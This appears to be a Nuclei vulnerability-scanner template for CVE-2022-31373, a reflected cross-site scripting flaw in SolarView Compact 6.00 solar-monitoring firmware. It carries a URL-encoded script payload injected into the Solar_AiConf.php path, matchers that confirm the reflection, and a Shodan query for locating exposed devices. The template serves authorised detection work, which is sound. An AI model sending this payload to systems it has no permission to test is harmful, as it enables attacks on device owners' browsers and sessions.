nuclei-templates/http/cves/2022/CVE-2022-31373.yaml

54 lines
1.8 KiB
YAML

id: CVE-2022-31373
info:
name: SolarView Compact 6.00 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
SolarView Compact 6.00 contains a cross-site scripting vulnerability via Solar_AiConf.php. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/badboycxcc/SolarView_Compact_6.0_xss
- https://nvd.nist.gov/vuln/detail/CVE-2022-31373
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-31373
cwe-id: CWE-79
epss-score: 0.00099
epss-percentile: 0.40838
cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: contec
product: sv-cpt-mc310_firmware
shodan-query: http.html:"SolarView Compact"
tags: cve,cve2022,xss,solarview
http:
- method: GET
path:
- '{{BaseURL}}/Solar_AiConf.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '/Solar_AiConf.php/"><script>alert(document.domain)</script>'
- 'HREF="Solar_Service.php"'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100c6ecddacc782f728854688f7b527f07081ee3cc0fcbdb18d9d3b7b9711b6381402204747b82cd9bb882df4aa5e609d6c8cef2f0312213d2bfecc1e0f4ec551d864ef:922c64590222798bb761d5b6d8e72950